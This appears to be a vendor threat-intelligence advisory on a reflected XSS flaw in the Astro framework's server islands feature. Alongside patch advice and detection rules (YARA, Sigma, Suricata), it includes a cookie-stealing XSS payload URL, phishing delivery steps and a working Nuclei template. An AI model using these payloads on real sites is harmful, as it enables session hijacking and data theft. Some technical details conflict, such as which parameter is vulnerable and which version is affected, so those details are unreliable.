CVE-2025-64764

Executive Summary

CVE-2025-64764 is a reflected Cross-Site Scripting (XSS) vulnerability in the Astro web framework, specifically affecting the server islands feature. An attacker can craft a malicious URL that, when visited by a user of an application using server islands, executes arbitrary JavaScript in the user's browser. This can lead to session hijacking, data theft, or other client-side attacks. The vulnerability is present in Astro versions prior to 5.15.8. A public proof-of-concept (PoC) and a Nuclei template are available, increasing the risk of exploitation. The EPSS score is currently 0.0%, indicating low exploitation activity in the wild, but the public availability of exploit details warrants immediate attention.

Supply Chain & Package Security

Astro is an npm package. The vulnerability is introduced through the server islands feature, which is a core part of the framework. The supply chain risk is moderate, as the vulnerability is in the framework itself, not a third-party dependency. However, any application using Astro with server islands enabled is affected. The patch is available in version 5.15.8, and organizations should update their dependencies immediately.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is carried out over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): Required (R) - The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) - The vulnerability impacts resources beyond the vulnerable component (the user's browser).
• Confidentiality (C): Low (L) - Limited data exposure is possible.
• Integrity (I): Low (L) - Limited ability to modify data.
• Availability (A): Low (L) - Limited impact on availability.

CVSS Score: 7.1 (High)

Threat Level: High. The availability of a public PoC and the ease of exploitation (low complexity, no privileges required) make this a significant threat.

Deep Dive & Mechanics

The vulnerability lies in the server islands feature of Astro. Server islands allow developers to embed dynamic, server-rendered components within static HTML. The flaw is in how the framework handles the e (event) parameter in the /_server-islands/ endpoint.

When a server island component is rendered, the client-side JavaScript sends a request to /_server-islands/[component-id]?e=[event]&p=[payload]&s=[state]. The s parameter is a JSON string that represents the component's state. The vulnerability occurs because the framework does not properly sanitize the s parameter before reflecting it in the response.

An attacker can craft a URL with a malicious s parameter containing JavaScript code. When the victim's browser processes this response, the malicious script is executed in the context of the vulnerable application.

The Nuclei template demonstrates this by:

1. First, sending a GET request to the base URL to extract the server island component ID from the HTML.
2. Then, sending a crafted request to /_server-islands/[component-id]?e=file&p=&s={"malicious":"<img+src=x+onerror=alert(0)>"}.
3. The response contains the unsanitized <img src=x onerror=alert(0)> string, which triggers the XSS.

Vulnerable vs. Patched Code

Vulnerable Code (Astro < 5.15.8): The vulnerable code likely resides in the server-side handler for the /_server-islands/ endpoint. The s parameter is parsed as JSON and then directly embedded into the response without proper encoding or sanitization.

// Hypothetical vulnerable code
app.get('/_server-islands/:id', (req, res) => {
  const state = JSON.parse(req.query.s);
  // ... process state ...
  res.send(`<script>window.__SERVER_ISLAND_STATE__ = ${JSON.stringify(state)};</script>`);
});

Patched Code (Astro 5.15.8): The patched version likely sanitizes the s parameter by encoding HTML entities or using a safe serialization method.

// Hypothetical patched code
app.get('/_server-islands/:id', (req, res) => {
  const state = JSON.parse(req.query.s);
  // ... process state ...
  const safeState = JSON.stringify(state).replace(/</g, '\\u003C').replace(/>/g, '\\u003E');
  res.send(`<script>window.__SERVER_ISLAND_STATE__ = ${safeState};</script>`);
});

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target application using Astro with server islands enabled.
• A web browser.

Steps:

1. Identify a page that uses server islands. Look for HTML elements with data-astro-island attributes.
2. Extract the component ID from the /_server-islands/ URL pattern in the page source.
3. Craft the malicious URL:

   http://target.com/_server-islands/[component-id]?e=file&p=&s={"x":"<img+src=x+onerror=alert(document.cookie)>"}
   

4. Send the URL to the victim (e.g., via phishing email or social engineering).
5. When the victim visits the URL, the JavaScript executes, and the attacker can steal cookies or perform other actions.

Nuclei Template Usage: The provided Nuclei template automates steps 1-3. Run it with:

nuclei -t CVE-2025-64764.yaml -u http://target.com

Blue Team (Detection & Mitigation)

Detection:

• Monitor web server logs for requests to /_server-islands/ with suspicious s parameters containing HTML tags or JavaScript.
• Use a Web Application Firewall (WAF) to block requests with malicious payloads in the s parameter.
• Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.

Mitigation:

• Update Astro to version 5.15.8 or later immediately.
• If immediate patching is not possible, disable the server islands feature temporarily.
• Validate and sanitize all user-supplied input, especially JSON parameters.

Indicators of Compromise (IOCs)

• URL Pattern: /_server-islands/[component-id]?e=file&p=&s={"key":"<script>...</script>"}
• HTTP Request: GET request to /_server-islands/ with a s parameter containing HTML/JavaScript.
• Response Body: Contains unsanitized user input reflected in the response.
• Network Traffic: Unusual requests to the /_server-islands/ endpoint with non-standard e or s parameters.

Detection Engineering

YARA Rule

rule CVE_2025_64764_Astro_XSS {
    meta:
        description = "Detects reflected XSS attempts against Astro server islands"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64764"
    strings:
        $url_pattern = "/_server-islands/"
        $payload = /s=.*<[^>]*onerror=/
        $payload2 = /s=.*<script>/
    condition:
        $url_pattern and ($payload or $payload2)
}

Sigma Rule

title: CVE-2025-64764 Astro Reflected XSS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting Astro server islands with malicious payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    definition: 'Requirements: Web server logs with full URI'
detection:
    selection:
        cs-uri-query|contains: '/_server-islands/'
        cs-uri-query|contains|all:
            - 'e='
            - 's='
        cs-uri-query|re: 's=.*<[^>]*onerror=|s=.*<script>'
    condition: selection
falsepositives:
    - Legitimate use of server islands with complex state
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64764 Astro Reflected XSS Attempt"; flow:to_server; content:"/_server-islands/"; http_uri; pcre:"/s=.*<[^>]*onerror=|s=.*<script>/Ui"; classtype:web-application-attack; sid:10000001; rev:1;)

Nuclei Template

id: CVE-2025-64764

info:
  name: Astro - Reflected XSS via server islands feature
  author: DhiyaneshDk,zhero___
  severity: high
  description: |
    Astro 5.15.8 contains a reflected XSS caused by improper handling of server islands feature, letting remote attackers execute scripts, exploit requires use of server islands in the application.
  impact: |
    Remote attackers can execute scripts in users' browsers, potentially leading to session hijacking or data theft.
  remediation: |
    Update to version 5.15.8 or later.
  reference:
    - https://zhero-web-sec.github.io/research-and-things/unlocking-reflected-xss-in-the-astro-framework
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"_server-islands"
  tags: cve,cve2025,astro,xss,vkev

variables:
  rand: "{{to_lower(rand_text_alpha(5))}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    host-redirects: true
    max-redirects: 2

    matchers:
      - type: regex
        part: body
        regex:
          - '/_server-islands/[^?]+\?e='
        internal: true

    extractors:
      - type: regex
        name: value
        part: body
        internal: true
        group: 1
        regex:
          - '/_server-islands/([^?]+)\?e='

  - raw:
      - |
        GET /_server-islands/{{value}}?e=file&p=&s={"{{rand}}":"<img+src=x+onerror=alert(0)>"} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<img src=x onerror=alert(0)>")'
        condition: and
# digest: 490a0046304402203f7807a14b8f6c0b959619f03bd941f32655aa23522fb6b617415dc8183bb4d402206b28ecbadc36a36720613b90649fff66d30c890e9dbb22022c4387b4f6b43194:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Patch: Update Astro to version 5.15.8 or later. Run npm install astro@latest.
2. Disable Server Islands: If patching is not possible, disable the server islands feature by removing any components that use it.
3. WAF Rules: Deploy WAF rules to block requests with malicious s parameters.

Long-Term Measures:

• Implement a Content Security Policy (CSP) with script-src 'self' to prevent inline script execution.
• Conduct regular security audits and dependency updates.
• Train developers on secure coding practices, especially regarding input sanitization.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact threatintel@valtersit.com.